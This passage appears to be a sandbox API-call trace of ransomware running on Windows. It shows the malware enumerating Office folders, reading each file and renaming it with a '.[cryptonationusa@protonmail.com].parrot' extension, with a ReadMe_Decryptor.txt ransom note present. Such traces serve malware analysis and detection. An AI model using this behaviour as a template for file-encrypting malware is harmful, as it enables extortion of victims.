(lpString1="Components", lpString2=".") returned 1 [0185.548] lstrcmpW (lpString1="Components", lpString2="..") returned 1 [0185.548] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0185.550] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0185.550] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.550] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0185.550] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0185.550] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Code_Signing_2001-4_CA.cer", cAlternateFileName="VERISI~1.CER")) returned 1 [0185.551] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.551] ReadFile (in: hFile=0x284, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0185.552] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.552] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ae, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3ae, lpOverlapped=0x0) returned 1 [0185.553] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.553] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.556] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.557] ReadFile (in: hFile=0x284, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0185.558] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.558] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x240, lpOverlapped=0x0) returned 1 [0185.558] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_public_primary_ca.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_public_primary_ca.cer.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.563] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.563] ReadFile (in: hFile=0x284, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0185.564] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.564] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x38b, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x38b, lpOverlapped=0x0) returned 1 [0185.565] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\vs_componentsigningintermediate.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\vs_componentsigningintermediate.cer.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.568] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0185.569] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfaa21840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfaa21840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.569] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa9fb6e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xfa9fb6e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfaa21840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0185.569] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0185.569] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.569] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfaa21840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfaa21840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1 [0185.569] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfaa21840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfaa21840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0 [0185.569] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0185.569] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.569] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0185.569] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0185.570] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0 [0185.570] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0185.571] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0185.571] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.571] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0185.571] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0185.571] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="People", cAlternateFileName="")) returned 1 [0185.571] lstrcmpW (lpString1="People", lpString2=".") returned 1 [0185.571] lstrcmpW (lpString1="People", lpString2="..") returned 1 [0185.571] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0185.574] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0185.574] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.574] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0185.574] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0185.574] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604d91d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUGH.WAV", cAlternateFileName="")) returned 1 [0185.575] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.575] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.576] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.577] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6bd4, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6bd4, lpOverlapped=0x0) returned 1 [0185.578] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\cough.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\cough.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.583] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.584] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.585] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.585] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7860, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7860, lpOverlapped=0x0) returned 1 [0185.586] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\GIGGLE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\giggle.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\GIGGLE.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\giggle.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.591] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.591] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.592] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.592] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x38ea, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x38ea, lpOverlapped=0x0) returned 1 [0185.594] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.594] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\HICCUP.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\hiccup.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\HICCUP.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\hiccup.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.598] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.598] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.635] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.635] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3b00, lpOverlapped=0x0) returned 1 [0185.636] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\MMHMM.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\mmhmm.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\MMHMM.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\mmhmm.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.643] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.643] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.644] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9c84, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x9c84, lpOverlapped=0x0) returned 1 [0185.645] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\sneeze.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\sneeze.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.651] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.651] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.652] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.652] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8d36, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x8d36, lpOverlapped=0x0) returned 1 [0185.654] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\throat.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\throat.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.659] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.659] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0185.660] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.660] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7302, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7302, lpOverlapped=0x0) returned 1 [0185.662] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\whistling.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\whistling.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.667] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0185.667] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, 